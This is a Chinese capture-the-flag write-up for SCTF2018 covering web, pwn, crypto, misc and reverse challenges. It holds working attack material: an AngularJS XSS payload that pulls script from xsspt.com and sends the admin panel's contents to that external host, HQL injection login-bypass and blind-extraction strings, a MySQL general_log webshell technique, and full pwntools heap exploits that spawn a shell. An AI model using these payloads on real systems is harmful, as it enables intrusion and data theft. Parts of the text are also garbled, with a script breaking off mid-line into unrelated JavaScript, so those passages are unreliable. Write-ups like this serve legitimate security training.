SCTF2018 WriteUp ### WEB #### 新的建议板 看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章[XSS without HTML: Client-Side Template Injection with AngularJS](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs) 1.4.0 - 1.4.9 {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} ![](https://i.imgur.com/5LnHwsW.png) 提交留言即可触发xss,管理员那边也会触发一遍。 这里留言似乎有点过滤,我用base64编码然后利用JQuery的$.getScript函数引用js文件 $.getScript('http://xsspt.com/xxxx'); 编码之后 eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==')); {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==\'));}} 提交留言然后就打到管理员了 ![](https://i.imgur.com/AYWoTW3.png) 然后发现后台并不在公网上,`http://127.0.0.1:1002/admin/` 构造payload开始读管理员后台 $.ajax({ url: "/admin", type: "GET", dataType: "text", success: function(result) { var code = btoa(encodeURIComponent(result)); xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code); }, error: function(msg) { } }) function xssPost(url, postStr) { var de; de = document.body.appendChild(document.createElement('iframe')); de.src = 'about:blank'; de.height = 1; de.width = 1; de.contentDocument.write(''); de.contentDocument.forms[0].submit(); de.style.display = 'none'; } 在js脚本里写入读取后台页面的代码,提交留言,收到 `/admin` 页面的内容 ![](https://i.imgur.com/pIUfgxw.png) 在base64跟url解码之后,拿到 `/admin` 页面 ![](https://i.imgur.com/r4yardr.png) 我们可以看到有个文件管理页面,继续修改js访问 `/admin/file` ![](https://i.imgur.com/VTRrqLO.png) 这里需要输入文件密码才能访问,我们接下来找一下文件密码 在一开始的首页里有个 `min-test.js` ,这里泄露了admin模板文件 `view/admintest2313.html`,在这个模板中发现一个备忘录的接口 ![](https://i.imgur.com/un33GMm.png) ![](https://i.imgur.com/PsEKz6s.png) 猜测这是在看`admintest2313`用户的备忘录,然后我们从获取到的后台页面中发现了 `adminClound` 这个用户名 ![](https://i.imgur.com/wHtNL4C.png) 拿到文件密码后,构造post包访问 `/admin/file` $.ajax({ url: "/admin/file", type: "POST", data: "filepasswd=HGf%5E%2639NsslUIf%5E23", dataType: "text", success: function(result) { var code = btoa(encodeURIComponent(result)); xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code); }, error: function(msg) { } }) 然后直接就打到flag了 #### Zhuanxv 拿到题目先扫目录(emmm...),扫到 `/list`,访问需要登录,然后抓到个请求 `/loadimage?fileName=web_login_bg.jpg`,猜测这是个文件读取漏洞,然后再猜猜他是个java程序,构造路径读取 `web.xml` ![](https://i.imgur.com/Zt5FwRw.png) 发现是Struts2写的站点,读一下配置文件 `../../WEB-INF/classes/struts.xml` /ctfpage/login.jsp /ctfpage/welcome.jsp image/jpeg attachment;filename="bg.jpg" downloadFile /ctfpage/welcome.jsp execute /ctfpage/login.jsp /ctfpage/welcome.jsp /ctfpage/welcome.jsp 根据上面的Action路径,构造读取class文件的路径 `../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class`,逐一把上面的class文件都下载一遍,然后再读一下 `../../WEB-INF/classes/applicationContext.xml` com.mysql.jdbc.Driver jdbc:mysql://localhost:3306/sctf user.hbm.xml org.hibernate.dialect.MySQLDialect true PROPAGATION_REQUIRED PROPAGATION_REQUIRED,readOnly 这里是用hibernate框架执行sql,读取一下 `../../WEB-INF/classes/user.hbm.xml` 看样子flag在数据库里。接下来继续下载`applicationContext.xml`文件中引用的dao层跟service层的class文件 这里整理出主要的代码片段 //UserLoginAction.class public boolean userCheck(User user) { List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword()); if ((userList != null) && (userList.size() == 1)) { return true; } addActionError("Username or password is Wrong, please check!"); return false; } //UserServiceImpl.class public List loginCheck(String name, String password) { name = name.replaceAll(" ", ""); name = name.replaceAll("=", ""); Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name); Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password); if (password_matcher.find()) { return this.userDao.loginCheck(name, password); } return null; } //UserDaoImpl.class public List < User > loginCheck(String name, String password) { return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'"); } 在`UserServiceImpl.class`这里只检测了password的正则,name只替换了空格跟等号,正则没起作用,所以这里可以注入 在登录处`user.name`注入 user.name=1'or''like''or''like'&user.password=aaaa 这样子直接进入后台,但这不是我们的目标,我们要读取数据库里的flag。可以利用登录判断来进行盲注,获取数据 user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa 然后就跑出用户名为homamamama,这不是重点,我们要读flag。由于这个是hql,很多mysql的特性没法用,只能根据hql的语法构建一个子查询。试了一下 `(select name from User)like'%'` 可以猜测读取到用户名,但是根据xml的数据表结构读取Flag表 `(select flag from Flag)like'%'` 却不行。 继续构造注入猜测, `(select count(*) from Flag)like'1'` 这个可以,说明Flag表里有一条数据。很多人都困在这一步了,读不到Flag表。这里要利用的是hql语句的子查询, `(from Flag)like'%'` 这样子就可以了,然后构造脚本开始跑Flag就可以了 user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa 最后获取到的flag要将花括号里的转成大写 #### easiest web - phpmyadmin 一开始题目很卡根本上不去,并且一直有人搅屎。 到了中午主办方终于开了备份服务器并且提升配置表示很开始。 直接使用弱口令`root/root`登录上去 尝试使用`outfile`写入一句话发现不行 ![](https://i.imgur.com/ZYThe9c.png) 于是便想到使用日志的方法来包含我们的一句话 首先开启日志:`set global general_log='on';` ![](https://i.imgur.com/GfTSaur.png) 修改日志路径:`set global general_log_file='D:/phpstudy/www/fuhei.php';` ![](https://i.imgur.com/cVmWH1X.png) 这时我们再查询我们的一句话,让他被记录进日志:`select '';` ![](https://i.imgur.com/y8PH7hj.png) 使用菜刀连接上去后在c盘根目录找到`flag.txt` ![](https://i.imgur.com/9egEXff.png) ### PWN #### bufoverflow_a - fill时存在offbynull,通过Poison null byte造成overlap ``` unsigned __int64 __fastcall wraaper_read_E81(__int64 a1, unsigned __int64 a2) { char buf; // [rsp+13h] [rbp-Dh] int i; // [rsp+14h] [rbp-Ch] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0; i < a2; ++i ) { if ( read(0, &buf, 1uLL) <= 0 ) { perror("Read faild!\n"); exit(-1); } if ( buf == 10 ) break; *(a1 + i) = buf; } *(i + a1) = 0; // off by null return __readfsqword(0x28u) ^ v5; ``` - unsortbin attack 修改_IO_buf_base scanf 溢出修改malloc-hook 为magic - exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' elf = ELF('./bufoverflow_a') libc = ELF('./libc.so.6') p = process('./bufoverflow_a',env={"LD_PRELOAD":'./libc.so.6'}) p = remote('116.62.152.176', 20001) def alloc(size):#0x7f - 0x1000 p.sendlineafter(">>",'1') p.sendlineafter("Size:",str(size)) def fill(co): p.sendlineafter(">>",'3') p.recvuntil("Content:") p.send(co) def dele(idx): p.sendlineafter(">>",'2') p.sendlineafter("Index:",str(idx)) def leak(): p.sendlineafter(">> ",'4') data = p.recvuntil('\x0a')[:-1] return data def pwn(): alloc(0x100)#0 alloc(0x100)#1 dele(0) alloc(0x100)#0 data = leak() libc.address = u64(data.ljust(8,'\x00')) - 0x399b58 success('[*]libc is ' + hex(libc.address)) dele(0) dele(1) alloc(0x420) fill('A'*0x100+'B'*0x200+p64(0x200)+'\n') dele(0) alloc(0x310)#0 alloc(0x100)#1 dele(0) alloc(0x108)#0 fill('A'*0x108+'\n') alloc(0x108)#2 alloc(0x88)#3 dele(2) dele(1) dele(0) payload = 'A'*0x210 + 'B'*8 + p64(0x91) alloc(1024) fill(payload+'\n') dele(3) dele(0) alloc(1024) un = libc.address + 0x0399900 bk = libc.address + 0x399b58 fd = libc.address + 0x399c38 payload = 'A'*0x210 + 'B'*8 + p64(0xf1)+ p64(fd)*2+"C"*0xd8 payload += p64(0x61)+'A'*0x68 + p64(0xa1) fill(payload+'\n') alloc(0xe0) dele(1) alloc(1024) dele(0) alloc(0xe0) dele(0) alloc(1024) payload = 'A'*0x210 + 'B'*8 + p64(0xf1) + p64(bk) + p64(un-0x10) fill(payload+'\n') print pidof(p) raw_input() alloc(0xe0) lock = libc.address + 0x39b770 vtable= libc.address + 0x396440 magic = libc.address + 0xd6655 payload = '\x00'*5 + p64(lock)+ p64(0)*9 + p64(vtable).ljust(0x158,"\x00")+ p64(magic) p.sendlineafter('>>' ,payload) p.interactive() pwn() ``` #### sbbs Bctf原题 ![](https://i.imgur.com/kyzgG5s.png) 存在任意地址写 `v3`接收16个字符可以覆盖到`v4 ` 但是8个字符覆盖刚好到`v4`,于是后面的回车符被换成`\x00`被送到`v1`里,于是只能写`clientele`了。 ![](https://i.imgur.com/Sm1WY2H.png) `Free`后没有清空堆 这里我们申请刚`free`的堆块,只向里面写少量数据,就能泄露`fd`了,于是就能得到地址了 `FILE`结构会通过`_chain`连接形成一个链表,链表头部用全局变量`_IO_list_all`表示。就会调用`_IO_OVERFLOW`,就会调用`vtable`,也就是虚表。 那么只要满足`fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base`我们的虚表中的`_IO_OVERFLOW`就会调用,而且程序是通过`_IO_list_all`来查找file结构体 ``` //prev_size,size fake_file =p64(0)*3 fake_file += p64(233) fake_file += p64(0)*21 fake_file += p64(0x6020b0-0x18) ``` 当`v3`溢出到`v4`赋值到任意地址,`v3`本身的8个`bit`也是我们可以写的,于是把`one_gadget`写在了`v3`中,如果找不到地址也可以布在堆里,都是可以的。`0x6020b0`是`v3`的地址,而`OVERFLOW`在`vtable`的位置位于偏移`0x18`处,于是得到`0x6020b0-0x18` EXP ``` #!/usr/bin/env python # coding=utf-8 #author rainbow541 by W&P from pwn import * #context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c'] p = process('./baby_arena') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one = 0x4526a def create(size,note): p.sendline('1') p.recvuntil('Pls Input your note size\n') p.sendline(str(size)) p.recvuntil('Input your note\n') p.sendline(note) def dele(num): p.sendline('2') p.recvuntil('Input id:\n') #gdb.attach(p) create(0xa8,'0'*0xa8) create(0xa8,'1'*0xa8) dele(0) create(0xa8,'0') p.recvuntil('your note is\n') a = p.recvline() arena = u64(a+(8-len(a))*'0')%0x1000000000000 libcc = arena - 0x3c4b30 libc.address = libcc max_fast = arena + 7368 success("libc:"+hex(libcc)) success("global_max_fast:"+hex(max_fast)) #-------- create(0x400,'3'*0x400) create(0x400,'4'*0x400) create(0x400,'4'*0x400) dele(2) dele(3) create(0x100,'A'*16+'\n') p.recvuntil('your note is\n') p.recvuntil('A'*16) heap_base = p.recvuntil('\n')[:-1] heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220 success('heap_base:'+hex(heap_base)) fake_file =p64(0)*3 fake_file += p64(233) fake_file += p64(0)*21 fake_file += p64(0x6020b0-0x18) #------ create(5120,fake_file) payload = p64(libcc + one) +p64(max_fast-8) login(payload)#one bit \x0a > \x00 。。。。。。 dele(3) p.sendline('4') print pidof(p) p.interactive() ``` ![](https://i.imgur.com/XGngrlB.png) 成功getshell ### Crypto #### it may contain 'flag' ``` n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939 c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3 ``` Wiener's attack,拿着以前写的脚本直接跑,秒出flag:https://github.com/D001UM3/CTF-RSA-tool ``` ➜ CTF-RSA-tool git:(master) ✗ cat problem.txt n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939 c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3% ➜ CTF-RSA-tool git:(master) ✗ python solve.py --verbose -i problem.txt DEBUG: factor N: try past ctf primes DEBUG: factor N: try Gimmicky Primes method DEBUG: factor N: try Wiener's attack DEBUG: d = 0xb28a1L INFO: flag1sH3r3_d_ist0sma1l ➜ CTF-RSA-tool git:(master) ✗ ``` #### a number problem `x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259` 模数直接可以factordb分解,但是33和模数的欧拉函数不互素,所以我们先用`33/3`的模反数解密得到x^3的值,然后再爆破一下,得到x ```python import libnum import gmpy2 e = 33 c = 1926041757553905692219721422025224638913707 n = 3436415358139016629092568198745009225773259 p = 3881 q = 885445853681787330351086884500131209939 phi_n = (p-1)*(q-1) d = libnum.invmod(e/3, phi_n) x_3 = pow(c, d, n) print x_3 def calc(j): # print j a, b = gmpy2.iroot(x_3 + j * n, 3) if b == 1: print a exit() for i in xrange(0, 100000000): calc(i) ``` #### ElGamal Hacker 求离散对数,谷歌discrete logarithm online 找到个在线计算的网站,直接得到私钥,然后解密 ```python import libnum p = 2103157897831904071864395721267 g = 12 y = 446615800949186291810252513371 c1 = 1671718365703730324362467329360 c2 = 1381742645695058198993532913043 # https://www.alpertron.com.ar/DILOG.HTM k = 204595385545077747431008465026 assert y == pow(g, k, p) c1 = 1671718365703730324362467329360 c2 = 1381742645695058198993532913043 print libnum.n2s(libnum.invmod(pow(c1, k, p), p) * c2 % p) ``` ### MISC #### 神奇的Modbus 过滤协议modbus,右键跟踪tcp流,往后看,就能看到flag了 .s.c.t.f.{.E.a.s.y._.M.d.b.u.s.} 然后去掉点,提交不对,然后把Modbus补全,就是flag了 #### 侧信道初探 根据资料 ,`SPA`是根据程序运行的能量进行检测,也就是每一句命令都有对应的波图。 经过分析可知: ![](https://i.imgur.com/lNGEq9W.png) 这个代表了`R=2R` ![](https://i.imgur.com/zG9syqy.png) 这个是`if`语句 即我们只要看`if`条件之后是否有多余语句执行(产生能量)即可判断二进制数据为0或为1 只有一簇的就是0 ![](https://i.imgur.com/7gjBtH9.png) 有两簇的就是1 ![](https://i.imgur.com/SmOsEj3.png) 由此可得flag数据为`0110111010` ### 神秘的交易 查找了一波IC卡资料, 根据SLE4442手册 https://wenku.baidu.com/view/a6a6fb22482fb4daa58d4bf8.html 可知一共分别进行了三次校验,分别为`0x33 0x01 0xaa 0x33 0x02 0xbb 0x33 0x03 0xcc` 并且每个字节从最低位开始传输, 即为 ``` 1100110010000000xxxxxxxx, 1100110001000000xxxxxxxx , 1100110011000000xxxxxxxx ``` 然后就是把Logicdata丢进logic里分析啦 根据前面的字节查找到口令数据段: ![](https://i.imgur.com/aSc7dQb.png) 最终得到3字节的口令 `0x403110` #### 肥宅快乐题 打游戏就给flag,不过真正的肥宅都懒得打,用Flash反编译找的flag。。。 多亏potplayer强大,能直接拖进度条跳帧。拖到后面找到了flag,但那字体1和l分不清,于是在反编译里查了附近的字段。直接定位,base64 decode,flag complete. ![](https://i.imgur.com/FTglJsY.png) ### Reverse #### simple 反编译发现动态解密了assets中的zip文件,由于解密的dex会落地因此可以直接运行后从文件目录中pull出来 ![](https://i.imgur.com/Vb1l0d3.png) 再反编译这个`load.dex`,`onClick`函数中接收了24个字符并以每8个字符一组构造`Square`,最后调用其中的`check`函数要求全部为True 构造方法为 `new Square((v1[i + x] << 8) + v12 + 255, i / 2 + 4);` 这里的i取值范围为{0, 8, 16},x取值范围为[0, 7] 即 >a1 = 0x315f00ff | input[i*8+x] a2 = i/2+4 还要注意要求每组中的后一个字符大于前一个字符 于是继续查看Square内部的方法 构造方法显示每个`Square`内有5x5=25个`Point` `a1`为`input`,`a2`为`turncout` >Square(int arg2, int arg3) { super(); this.point = new Point[25]; this.input = arg2; this.turncout = arg3; this.initpoint(); if(this.check()) { this.turnpoint(); } } 通过`initpoint()`方法来为25个`Point`赋值 ![](https://i.imgur.com/3AIcy9H.png) 简单来说就是从右往左逐位取值 对于`a1`而言,每个Squre如下所示 |0|1|2|3|4| |--|--|--|--|--| |1|1|1|1|1| |1|1|1|input7|input6| |input5|input4|input3|input2|input1| |input0|1|1|1|1| |1|0|1|0|1| check方法则很简单 `Point[i][i]`和`Point[4-i][i]`皆为1即可,即两条对角线上的Point要求为1 `turnpoint`也并不复杂,循环将每个`Point`左移一位,最左边的`Point`顺位移到上一行的最后一位。循环执行的次数为`turncout`,即参数`a2` 函数理清以后梳理一下逻辑 目标是最终`check`成功,那么必然构造Squre时的check也必须成功,即要求每个`Squre`构造好以后`check()==True -> turnopint() -> check()==True` 解题思路为首先构造符合`check()`的`Squre`,然后按照`turnpoint`反向右移,再符合`check()`一次,此时的`Squre`为通解 再为了满足每组中input[i][1, 0, 0, 1, 1] [0, 1, 0, 1, 0] [1, 0, 1, 0, 0] [0, 1, 0, 1, 0] [1, 0, 1, 0, 1] Input : [0, 0, 0, 1, 0, 1, 0, 1] 然后根据0b00010101逐步递增求解input值即可 脚本如下: ``` s = [0b00010101, 0b01010001, 0b00011001] print("SCTF{", end='') for x in s: l = 48 for i in range(8): while((l&x)> 1 } return a } function G(r, n) { var a = 0; while (r >= n) { r = E(r, n); a = D(a, 1) } return a } function H(r) { return r.length } function J(r, n) { return !(r ^ n) } function K(r, n) { return r[n] } function L(r) { if (r.length == 1) { return r.charCodeAt(0) } } function M(r) { return +r } function N(r) { return String(r) } function O(r, n) { return r + n } function Q(r, n, a, v) { for (var t = r; t <= n; t++) { if (a[t] != v[t - r]) { return false } } return true } function r(r) { var n = r; var a = H(n); var v = J(a, 24); var t = K(n, 0); var u = K(n, 1); var i = K(n, 2); var e = K(n, 3); var f = D(L(t), L(i)); var o = E(L(t), L(u)); var c = K(n, 6); var l = K(n, 7); var h = K(n, 16); var w = K(n, 17); var I = J(E(L(u), L(h)), 0); var S = J(D(L(c), L(l)), D(L(h), L(w))); var _ = J(E(L(u), L(c)), 0); var g = K(n, 21); var p = K(n, 22); var s = J(E(F(L(g), 2), G(66, L(p))), 64); var P = Q(9, 15, n, "Pt_In_S"); var T = J(L(l), L("r")); var b = J(f, 231); var d = J(o, 16); var j = M(K(n, 5)); var k = J(G(M(O(N(L(e)), "0")), j), 204); var m = M(K(n, 8)); var q = Q(18, 20, n, "IpT"); var x = J(E(j, m), 4); var y = J(F(m, m), m); var z = J(D(L(K(n, 4)), D(m, m)), L(K(n, 23))); var A = J(L(u), 99); var B = J(L(K(n, 23)), 125); var C = J(L(K(n, 22)), 33); return v && I && S && _ && s && P && T && b && d && k && q && x && y && z && A && B && C } ``` 其中核心函数为D,动态调试输入几个值测试发现该函数为求和 后面其他几个函数就很简单了,E是减法、F是乘法、G是除法 机械梳理下来求解即可 ``` from z3 import * a = [Int("a%d"%i) for i in range(24)] flag = [0 for i in range(24)] s = Solver() s.add(a[0] + a[2] == 231, a[0] - a[1] == 16, a[1] - a[16] == 0, a[6] + a[7] == a[16] + a[17], a[1] - a[6] == 0, a[21]*2 - 66/a[22] == 64, a[7] == ord('r'), (a[3]*10)/(a[5]-ord('0')) == 204, #int(a[5]) (a[5]-ord('0')) - (a[8]-ord('0')) == 4, #int(a[8]) (a[8]-ord('0'))*(a[8]-ord('0'))==(a[8]-ord('0')), a[4] + (a[8]-ord('0')+a[8]-ord('0')) == a[23], a[1] == 99, a[23] == 125, a[22] == 33 ) c = s.check() print(c) if(c==sat): m = s.model() for i in range(24): try: v = m[a[i]].as_long() flag[i] = v except: continue for i in range(9, 16): flag[i] = ord("Pt_In_S"[i-9]) for i in range(18, 21): flag[i] = ord("IpT"[i-18]) print(flag) for i in flag: print(chr(i), end='') ``` ####Babymips JEB反编译,可以看出`main`中先将输入逐字符与`(i+1)`异或,然后对`0x400b3c`进行了一次解码 每个字节按位逆序,解码后执行该函数 idc还原脚本如下 ``` #include static main() { auto StartVa, SavedStartVa, StopVa, Size, i, j; auto v, n_v; StartVa = 0x400b3c; StopVa = 0x400d14; Size = StopVa - StartVa; SavedStartVa = StartVa; for (i = 0; i < Size; i++) { v = Byte(StartVa); n_v = 0; for(j=0;j<8;j++) {n_v = n_v | (((v>>j)&1)<<(7-j));} PatchByte(StartVa, n_v); Message("%x %x\n", v, n_v); MakeCode(StartVa); StartVa++; } AnalyzeArea(SavedStartVa, StopVa); Message("Decode Opcode Ok "); } ``` `sub_400b3c`中对输入再次处理,先是对`(5, 37)`逐字符异或`0x30`,然后对栈中-0x8处的变量以`(i-5)&3-12`为下标进行取值异或,`-0x8-0xc=-0x14`,即之前赋值为"sctf"的一个变量 最后`memcmp`与数组`0x412038`比较 反向处理可得flag